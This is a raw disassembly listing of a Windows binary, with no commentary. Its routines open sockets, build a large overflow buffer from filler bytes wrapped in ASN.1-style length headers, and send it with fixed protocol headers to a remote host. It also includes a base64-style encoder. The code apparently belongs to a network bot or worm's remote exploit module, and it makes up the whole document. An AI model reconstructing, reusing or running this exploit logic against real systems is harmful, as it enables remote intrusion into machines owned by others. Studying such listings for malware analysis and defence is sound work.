		add	eax, offset dword_456F28
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40CE00
		push	edi
		push	edi
		call	ds:dword_4F6384	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40D058

loc_40D04D:				; CODE XREF: sub_40CFBE+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40D058
		push	32h
		call	esi	; Sleep
		jmp	short loc_40D04D
; ---------------------------------------------------------------------------

loc_40D058:				; CODE XREF: sub_40CFBE+8Dj
					; sub_40CFBE+92j
		push	[ebp+arg_0]
		call	ds:dword_4F6370	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40D07F
		inc	[ebp+var_2C]
		jmp	loc_40CFEC
; ---------------------------------------------------------------------------

loc_40D07F:				; CODE XREF: sub_40CFBE+B7j
		push	[ebp+var_1C]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_449B50 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_B0]	; int
		call	sub_409D6C
		push	[ebp+var_20]
		call	sub_40BAAA
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40CFBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D0CB	proc near		; CODE XREF: sub_40D36D+Ep
					; sub_40D36D+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40D0CB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	_strlen
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40D103
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40D103(void	*Src,size_t Size)

sub_40D103	proc near		; CODE XREF: .text:0040D0EDp
					; sub_40D36D+11Ep

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40D135
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		push	ebx		; Size
		push	[esp+1Ch+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40D135:				; CODE XREF: sub_40D103+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40D13D(void	*Src,size_t Size,int,int)

sub_40D13D	proc near		; CODE XREF: sub_40D237+18p
					; sub_40D2B1+16p ...

Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Size]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40D189
		push	edi		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		push	[ebp+arg_C]	; Size
		mov	eax, [ebp+Size]
		add	eax, esi
		push	[ebp+arg_8]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40D189:				; CODE XREF: sub_40D13D+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40D13D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D192	proc near		; CODE XREF: sub_40D237+5Ep
					; sub_40D237+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40D1A2
		push	eax		; Memory
		call	_free
		pop	ecx

loc_40D1A2:				; CODE XREF: sub_40D192+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40D192	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1AB	proc near		; CODE XREF: sub_40D237+20p
					; sub_40D312+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40D1D8
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D1DC

loc_40D1D8:				; CODE XREF: sub_40D1AB+Dj
		xor	al, al
		jmp	short loc_40D233
; ---------------------------------------------------------------------------

loc_40D1DC:				; CODE XREF: sub_40D1AB+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40D201
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40D21B
; ---------------------------------------------------------------------------

loc_40D201:				; CODE XREF: sub_40D1AB+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4] ; Size
		lea	eax, [edi+3]
		push	dword ptr [esi]	; Src

loc_40D21B:				; CODE XREF: sub_40D1AB+54j
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	dword ptr [esi]	; Memory
		call	_free
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40D233:				; CODE XREF: sub_40D1AB+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D1AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D237	proc near		; CODE XREF: sub_40D36D+89p
					; sub_40D36D+E3p ...

Src		= dword	ptr -8
Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+Src]
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset dword_4E6F54 ; Src
		call	sub_40D13D
		lea	ecx, [ebp+Src]
		call	sub_40D1AB
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D271
		xor	al, al
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------

loc_40D271:				; CODE XREF: sub_40D237+34j
		mov	eax, [ebp+Size]
		inc	eax
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	byte ptr [edi],	3
		push	[ebp+Size]	; Size
		lea	eax, [edi+1]
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 18h
		mov	ecx, esi
		call	sub_40D192
		mov	eax, [ebp+Size]
		lea	ecx, [ebp+Src]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40D192
		mov	al, 1

loc_40D2AD:				; CODE XREF: sub_40D237+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40D237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2B1	proc near		; CODE XREF: sub_40D2E5+14p
					; sub_40D302+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]	; int
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]	; int
		push	dword ptr [esi+4] ; Size
		push	dword ptr [esi]	; Src
		call	sub_40D13D
		mov	ecx, esi
		call	sub_40D192
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40D2B1	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40D2E5(char	*Str)

sub_40D2E5	proc near		; CODE XREF: sub_40D36D+F0p
					; sub_40D36D+15Bp ...

Str		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+Str]
		call	sub_40D2B1
		pop	esi
		retn	4
sub_40D2E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D302	proc near		; CODE XREF: sub_40D34E+Bp
					; sub_40D36D+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40D2B1
		retn	8
sub_40D302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D312	proc near		; CODE XREF: sub_40D34E+16p
					; sub_40D36D+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40D1AB
		test	al, al
		jz	short loc_40D34B
		push	dword ptr [esi+4] ; int
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset dword_449EE8 ; Src
		call	sub_40D13D
		mov	ecx, esi
		call	sub_40D192
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40D34B:				; CODE XREF: sub_40D312+Fj
		pop	esi
		leave
		retn
sub_40D312	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D34E	proc near		; CODE XREF: sub_40D36D+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D302
		test	al, al
		jz	short loc_40D369
		mov	ecx, esi
		call	sub_40D312

loc_40D369:				; CODE XREF: sub_40D34E+12j
		pop	esi
		retn	8
sub_40D34E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D36D	proc near		; CODE XREF: sub_40DB44+88p

Dst		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40D0CB
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D6C1
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D6C1
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40D0CB
		lea	ecx, [ebp+var_20]
		call	sub_40D0CB
		lea	ecx, [ebp+var_50]
		call	sub_40D0CB
		lea	ecx, [ebp+var_18]
		call	sub_40D0CB
		lea	ecx, [ebp+var_40]
		call	sub_40D0CB
		lea	ecx, [ebp+var_38]
		call	sub_40D0CB
		lea	ecx, [ebp+var_28]
		call	sub_40D0CB
		push	4
		push	offset dword_449B88
		lea	ecx, [ebp+var_30]
		call	sub_40D2B1
		push	3
		push	offset dword_449B90
		lea	ecx, [ebp+var_30]
		call	sub_40D2B1
		lea	ecx, [ebp+var_30]
		call	sub_40D237
		lea	ecx, [ebp+var_30]
		call	sub_40D312
		mov	esi, 800h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	42h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40D2B1
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40D2B1
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40D2B1
		lea	ecx, [ebp+var_20]
		call	sub_40D237
		push	offset dword_449EEC ; Str
		lea	ecx, [ebp+var_50]
		call	sub_40D2E5
		lea	ecx, [ebp+var_50]
		call	sub_40D237
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	44h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_58]
		push	410h		; Size
		push	eax		; Src
		call	sub_40D103
		lea	ecx, [ebp+var_58]
		call	sub_40D237
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40D34E
		lea	ecx, [ebp+var_58]
		call	sub_40D192
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	43h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40D2E5
		push	4
		push	offset dword_449B94
		lea	ecx, [ebp+var_18]
		call	sub_40D2B1
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40D2B1
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40D2B1
		lea	ecx, [ebp+var_18]
		call	sub_40D237
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40D302
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40D302
		lea	ecx, [ebp+var_40]
		call	sub_40D312
		lea	ecx, [ebp+var_18]
		call	sub_40D192
		lea	ecx, [ebp+var_50]
		call	sub_40D192
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40D302
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40D302
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40D302
		lea	ecx, [ebp+var_38]
		call	sub_40D312
		lea	ecx, [ebp+var_20]
		call	sub_40D192
		lea	ecx, [ebp+var_30]
		call	sub_40D192
		lea	ecx, [ebp+var_40]
		call	sub_40D192
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40D2B1
		lea	ecx, [ebp+var_28]
		call	sub_40D237
		push	2
		push	offset dword_449F00
		lea	ecx, [ebp+var_28]
		call	sub_40D2B1
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40D302
		lea	ecx, [ebp+var_28]
		call	sub_40D312
		lea	ecx, [ebp+var_38]
		call	sub_40D192
		lea	ecx, [ebp+var_10]
		call	sub_40D0CB
		lea	ecx, [ebp+var_8]
		call	sub_40D0CB
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40D302
		lea	ecx, [ebp+var_10]
		call	sub_40D1AB
		lea	ecx, [ebp+var_28]
		call	sub_40D192
		push	offset dword_449F04 ; Str
		lea	ecx, [ebp+var_8]
		call	sub_40D2E5
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40D302
		lea	ecx, [ebp+var_8]
		call	sub_40D1AB
		lea	ecx, [ebp+var_10]
		call	sub_40D192
		push	offset dword_449F08 ; Str
		lea	ecx, [ebp+var_10]
		call	sub_40D2E5
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40D302
		lea	ecx, [ebp+var_10]
		call	sub_40D1AB
		lea	ecx, [ebp+var_8]
		call	sub_40D192
		push	offset dword_449F0C ; Str
		lea	ecx, [ebp+var_8]
		call	sub_40D2E5
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40D302
		lea	ecx, [ebp+var_8]
		call	sub_40D1AB
		lea	ecx, [ebp+var_10]
		call	sub_40D192
		push	offset dword_449F18 ; Str
		lea	ecx, [ebp+var_48]
		call	sub_40D2E5
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40D302
		lea	ecx, [ebp+var_8]
		call	sub_40D192
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D6CF
; ---------------------------------------------------------------------------

loc_40D6C1:				; CODE XREF: sub_40D36D+1Bj
					; sub_40D36D+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40D6CF:				; CODE XREF: sub_40D36D+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40D36D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6D3	proc near		; CODE XREF: sub_40D797+A1p
					; sub_40D797+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4F6578	; select
		cmp	eax, edi
		jnz	short loc_40D73A
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_43B892	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40D73E

loc_40D73A:				; CODE XREF: sub_40D6D3+54j
		xor	eax, eax
		jmp	short loc_40D74E
; ---------------------------------------------------------------------------

loc_40D73E:				; CODE XREF: sub_40D6D3+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E4238	; recv

loc_40D74E:				; CODE XREF: sub_40D6D3+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D6D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D752	proc near		; CODE XREF: sub_40D797+81p
					; sub_40D797+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4E421C	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 4
		jz	short loc_40D77C
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D77C:				; CODE XREF: sub_40D752+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D797(int,void *Src,size_t Size)

sub_40D797	proc near		; CODE XREF: sub_40D871+48p
					; sub_40DB44+15Bp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+Size]
		lea	ebx, [edi+41h]
		push	ebx		; Size
		mov	[ebp+var_4], ebx
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D7C0
		xor	al, al
		jmp	loc_40D86C
; ---------------------------------------------------------------------------

loc_40D7C0:				; CODE XREF: sub_40D797+20j
		push	ebx		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	2Fh		; Size
		push	offset dword_449C24 ; Src
		push	esi		; Dst
		call	_memcpy
		push	8		; Size
		lea	eax, [esi+31h]
		push	offset dword_449C54 ; Src
		push	eax		; Dst
		mov	[esi+2Fh], di
		call	_memcpy
		push	edi		; Size
		lea	ebx, [esi+3Bh]
		push	[ebp+Src]	; Src
		mov	[esi+39h], di
		push	ebx		; Dst
		call	_memcpy
		push	6		; Size
		add	ebx, edi
		push	offset dword_4E6F4C ; Src
		push	ebx		; Dst
		call	_memcpy
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_449B9C
		push	ebx
		call	sub_40D752
		add	esp, 48h
		test	al, al
		jnz	short loc_40D828

loc_40D824:				; CODE XREF: sub_40D797+B5j
		xor	bl, bl
		jmp	short loc_40D863
; ---------------------------------------------------------------------------

loc_40D828:				; CODE XREF: sub_40D797+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D6D3
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D752
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D824
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D6D3
		add	esp, 10h
		mov	bl, 1

loc_40D863:				; CODE XREF: sub_40D797+8Fj
		push	esi		; Memory
		call	_free
		pop	ecx
		mov	al, bl

loc_40D86C:				; CODE XREF: sub_40D797+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40D871(int,void *Src,size_t Size)

sub_40D871	proc near		; CODE XREF: sub_40DB44+141p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_449C60
		push	[ebp+arg_0]
		call	ds:dword_4F6574	; send
		cmp	eax, 48h
		jnz	short loc_40D8AC
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D6D3
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D8AC
		cmp	[ebp+var_20], 82h
		jz	short loc_40D8B0

loc_40D8AC:				; CODE XREF: sub_40D871+1Bj
					; sub_40D871+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D8B0:				; CODE XREF: sub_40D871+39j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+arg_0]	; int
		call	sub_40D797
		add	esp, 0Ch
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8C3	proc near		; CODE XREF: sub_40D90F+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_43D468
		call	__ftol
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_43D460
		fstp	[esp+10h+var_10]
		call	_floor
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	__ftol
		inc	eax
		leave
		retn
sub_40D8C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D90F	proc near		; CODE XREF: sub_40DA86+23p

var_4C		= qword	ptr -4Ch
var_38		= byte ptr -38h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h

		mov	eax, offset loc_43C78F
		call	__EH_prolog
		sub	esp, 2Ch
		push	esi
		lea	eax, [ebp+var_D]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp+var_38]
		mov	[ebp+var_20], esi
		call	sub_40DD0B
		push	1
		pop	edi
		push	[ebp+arg_8]
		mov	[ebp+var_4], edi
		call	sub_40D8C3
		pop	ecx
		push	eax
		lea	ecx, [ebp+var_38]
		call	sub_40DE20
		cmp	[ebp+arg_8], esi
		mov	[ebp+var_18], esi
		jbe	loc_40DA5A
		push	ebx
		mov	ebx, [ebp+arg_8]

loc_40D957:				; CODE XREF: sub_40D90F+144j
		cmp	[ebp+arg_8], 3
		jb	short loc_40D962
		push	3

loc_40D95F:				; CODE XREF: sub_40D90F+5Bj
		pop	ebx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------

loc_40D962:				; CODE XREF: sub_40D90F+4Cj
		cmp	[ebp+arg_8], 2
		jnz	short loc_40D96C
		push	2
		jmp	short loc_40D95F
; ---------------------------------------------------------------------------

loc_40D96C:				; CODE XREF: sub_40D90F+57j
		cmp	[ebp+arg_8], edi
		jnz	short loc_40D973
		mov	ebx, edi

loc_40D973:				; CODE XREF: sub_40D90F+51j
					; sub_40D90F+60j
		and	dword ptr [ebp+var_28+4], 0
		mov	dword ptr [ebp+var_28],	ebx
		fild	[ebp+var_28]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_43D470
		fstp	[esp+4Ch+var_4C]
		call	_ceil
		pop	ecx
		pop	ecx
		call	__ftol
		test	ebx, ebx
		mov	[ebp+var_1C], eax
		jbe	short loc_40D9B4
		mov	esi, [ebp+arg_4]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp+var_10]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		push	1
		and	ecx, 3
		rep movsb
		pop	edi

loc_40D9B4:				; CODE XREF: sub_40D90F+8Aj
		mov	cl, [ebp+var_10]
		mov	dl, [ebp+var_10]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp+var_14], cl
		mov	cl, [ebp+var_F]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+arg_4], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp+var_F]
		mov	[ebp+var_13], cl
		mov	cl, [ebp+var_E]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+arg_8], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp+var_12], cl
		mov	cl, [ebp+var_E]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp+var_11], cl
		jbe	short loc_40DA21
		add	[ebp+var_18], eax

loc_40DA06:				; CODE XREF: sub_40D90F+110j
		movsx	eax, [ebp+esi+var_14]
		lea	ecx, [ebp+var_38]
		mov	al, byte_449CAC[eax]
		push	eax		; int
		push	edi		; Size
		call	sub_40DDA0
		inc	esi
		cmp	esi, [ebp+var_1C]
		jb	short loc_40DA06

loc_40DA21:				; CODE XREF: sub_40D90F+F2j
		cmp	[ebp+var_18], 48h
		jb	short loc_40DA36
		push	[ebp+Str]	; Str
		lea	ecx, [ebp+var_38]
		call	sub_40DD78
		and	[ebp+var_18], 0

